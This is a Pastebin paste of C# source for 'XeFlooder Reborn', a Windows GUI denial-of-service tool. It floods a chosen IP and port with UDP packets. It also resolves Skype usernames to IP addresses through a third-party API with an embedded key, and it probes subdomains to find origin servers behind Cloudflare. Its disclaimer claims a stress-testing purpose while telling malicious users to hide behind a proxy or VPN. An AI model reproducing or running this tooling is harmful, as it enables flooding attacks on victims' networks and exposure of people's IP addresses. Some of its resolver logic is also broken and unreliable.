Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.ComponentModel;
- using System.Data;
- using System.Drawing;
- using System.Text;
- using System.IO;
- using System.Net;
- using System.Net.Sockets;
- using System.Net.NetworkInformation;
- using System.Threading;
- using System.Windows.Forms;
- using ComponentFactory.Krypton.Toolkit;
- using System.Collections;
- using System.Diagnostics;
- //Made by Joshua Ozeri
- //aka XeClutch
- //aka iPhantom
- // ------
- //Please do not claim this source as your own
- namespace XeFlooder_Reborn
- {
- public partial class Form1 : ComponentFactory.Krypton.Toolkit.KryptonForm
- {
- int packets;
- int totalPackets;
- bool flooding;
- Ping _ping = new Ping();
- public Form1()
- {
- InitializeComponent();
- }
- private void udp_start_Click(object sender, EventArgs e)
- {
- packets = 0;
- totalPackets = Convert.ToInt32(udp_packets.Value);
- flooding = true;
- startUDP();
- }
- void startUDP()
- {
- while(flooding)
- {
- if (packets > totalPackets)
- {
- MessageBox.Show("UDP Flood Successful!");
- packets = 0;
- totalPackets = 0;
- flooding = false;
- }
- else if (packets == 0 && totalPackets == 0)
- {
- }
- else if (packets < totalPackets)
- {
- //UDP Packet being sent to target
- byte[] packet = ASCIIEncoding.ASCII.GetBytes("<XeFlooder Reborn 1.0>");
- //Assign Target End Point
- IPEndPoint ep = new IPEndPoint(IPAddress.Parse(udp_ip.Text), Convert.ToInt32(udp_port.Value));
- //Socket used to flood client
- Socket target = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
- //Increase counted packets by 1
- packets++;
- //Send packet to target
- target.SendTo(packet, ep);
- //Update Progress Trackers
- udp_progress_bar.Maximum = totalPackets;
- udp_progress_bar.Value = packets;
- if (udp_progress_bar.Value == udp_progress_bar.Maximum)
- {
- packets++;
- }
- }
- }
- }
- private string GetMacAddress()
- {
- string macAddresses = string.Empty;
- foreach (NetworkInterface nic in NetworkInterface.GetAllNetworkInterfaces())
- {
- if (nic.OperationalStatus == OperationalStatus.Up)
- {
- macAddresses += nic.GetPhysicalAddress().ToString();
- break;
- }
- }
- return macAddresses;
- }
- private void Form1_Load(object sender, EventArgs e)
- {
- MessageBox.Show("The developers of XeFlooder (Reborn) are not responsible for what you do with this program, it was made for stress testing. If you choose to use this program for malicious purposes please do so while using a Proxy or a VPN. Enjoy...", "DISCLAIMER!");
- if (NetworkInterface.GetIsNetworkAvailable() != true)
- {
- MessageBox.Show("You need to be connected to the internet to use this program...\nNow exiting...");
- this.Close();
- }
- WebRequest request = WebRequest.Create("http://icanhazip.com/");
- WebResponse response = request.GetResponse();
- System.IO.StreamReader sr = new System.IO.StreamReader(response.GetResponseStream());
- string IP = sr.ReadToEnd();
- IPHostEntry host = Dns.GetHostEntry(Dns.GetHostName());
- info.Items.Add("Public IP Address: " + IP);
- foreach (IPAddress ip in host.AddressList)
- {
- if (ip.AddressFamily.ToString() == "InterNetwork")
- {
- info.Items.Add("IPv4 Address: " + ip.ToString());
- }
- }
- info.Items.Add("Machine Name: " + System.Environment.MachineName);
- info.Items.Add("MAC Address: " + GetMacAddress());
- }
- private void scheme_SelectedIndexChanged(object sender, EventArgs e)
- {
- if (scheme.Text == "")
- {
- MessageBox.Show("Please select a valid color scheme...");
- }
- else if (scheme.Text == "Black")
- {
- try
- {
- kman.GlobalPalette = ComponentFactory.Krypton.Toolkit.KryptonManager.PaletteOffice2007Black;
- }
- catch (Exception ex)
- {
- MessageBox.Show("Error setting color scheme...\n\n" + ex);
- }
- }
- else if (scheme.Text == "Silver")
- {
- try
- {
- kman.GlobalPalette = ComponentFactory.Krypton.Toolkit.KryptonManager.PaletteOffice2007Silver;
- }
- catch (Exception ex)
- {
- MessageBox.Show("Error setting color scheme...\n\n" + ex);
- }
- }
- else if (scheme.Text == "Blue")
- {
- try
- {
- kman.GlobalPalette = ComponentFactory.Krypton.Toolkit.KryptonManager.PaletteOffice2007Blue;
- }
- catch (Exception ex)
- {
- MessageBox.Show("Error setting color scheme...\n\n" + ex);
- }
- }
- }
- private void resolve_domain_Click(object sender, EventArgs e)
- {
- try
- {
- var URL2IP = Dns.GetHostAddresses(resolve_domain_url.Text)[0];
- resolve_domain_ip.Text = "IP Address: " + URL2IP.ToString();
- }
- catch (Exception ex)
- {
- MessageBox.Show("Could not resolve domain name...\n\n" + ex);
- }
- }
- private void resolve_skype_Click(object sender, EventArgs e)
- {
- try
- {
- WebRequest request = WebRequest.Create("http://infernoapi.com/skype.php?apikey=c9f4bfc1d0d0a4eecff90c7839fd929cdfd79f45&user=" + resolve_skype_name.Text);
- WebResponse response = request.GetResponse();
- System.IO.StreamReader sr = new System.IO.StreamReader(response.GetResponseStream());
- resolve_skype_ip.Text = "IP Address: " + sr.ReadToEnd();
- }
- catch (Exception ex)
- {
- MessageBox.Show("Could not resolve Skype name...\n\n" + ex);
- }
- if (resolve_skype_ip.Text == "IP Address: Invalid API Key")
- {
- MessageBox.Show("Looks like our API Key expired!\nPlease give us time to get the funds for another key, thank you.");
- }
- }
- private void resolve_cf_Click(object sender, EventArgs e)
- {
- var ip = Dns.GetHostAddresses(resolve_cf_url.Text)[0];
- try
- {
- var hostname = Dns.GetHostByName("direct." + Convert.ToString(ip));
- resolve_cf_direct.Text = "IP Address: " + Convert.ToString(hostname);
- }
- catch (Exception ex)
- {
- MessageBox.Show("[Direct] Could not resolve...\n\n" + ex);
- }
- try
- {
- var hostname = Dns.GetHostByName("mail." + Convert.ToString(ip));
- resolve_cf_mail.Text = "IP Address: " + Convert.ToString(hostname);
- }
- catch (Exception ex)
- {
- MessageBox.Show("[Mail] Could not resolve...\n\n" + ex);
- }
- try
- {
- var hostname = Dns.GetHostByName("direct-connect." + Convert.ToString(ip));
- resolve_cf_connect.Text = "IP Address: " + Convert.ToString(hostname);
- }
- catch (Exception ex)
- {
- MessageBox.Show("[Connect] Could not resolve...\n\n" + ex);
- }
- try
- {
- var hostname = Dns.GetHostByName("cpanel." + Convert.ToString(ip));
- resolve_cf_cpanel.Text = "IP Address: " + Convert.ToString(hostname);
- }
- catch (Exception ex)
- {
- MessageBox.Show("[CPanel] Could not resolve...\n\n" + ex);
- }
- try
- {
- var hostname = Dns.GetHostByName("ftp." + Convert.ToString(ip));
- resolve_cf_ftp.Text = "IP Address: " + Convert.ToString(hostname);
- }
- catch (Exception ex)
- {
- MessageBox.Show("[FTP] Could not resolve...\n\n" + ex);
- }
- }
- private void ping_ip_Click(object sender, EventArgs e)
- {
- try
- {
- PingReply _reply = _ping.Send(IPAddress.Parse(ping_ip_ip.Text));
- if (_reply.Status == IPStatus.Success)
- {
- ping_ip_status.Text = "Status: Online";
- }
- else if (_reply.Status != IPStatus.Success)
- {
- ping_ip_status.Text = "Status: Offline";
- }
- }
- catch (Exception ex)
- {
- MessageBox.Show("Could not ping IP Address...\n\n" + ex);
- }
- }
- private void ping_domain_Click(object sender, EventArgs e)
- {
- try
- {
- var URL2IP = Dns.GetHostAddresses(ping_domain_url.Text)[0];
- PingReply _reply = _ping.Send(URL2IP);
- if (_reply.Status == IPStatus.Success)
- {
- ping_domain_status.Text = "Status: Online";
- }
- else if (_reply.Status != IPStatus.Success)
- {
- ping_domain_status.Text = "Status: Offline";
- }
- }
- catch (Exception ex)
- {
- MessageBox.Show("Could not ping Domain...\n\n" + ex);
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement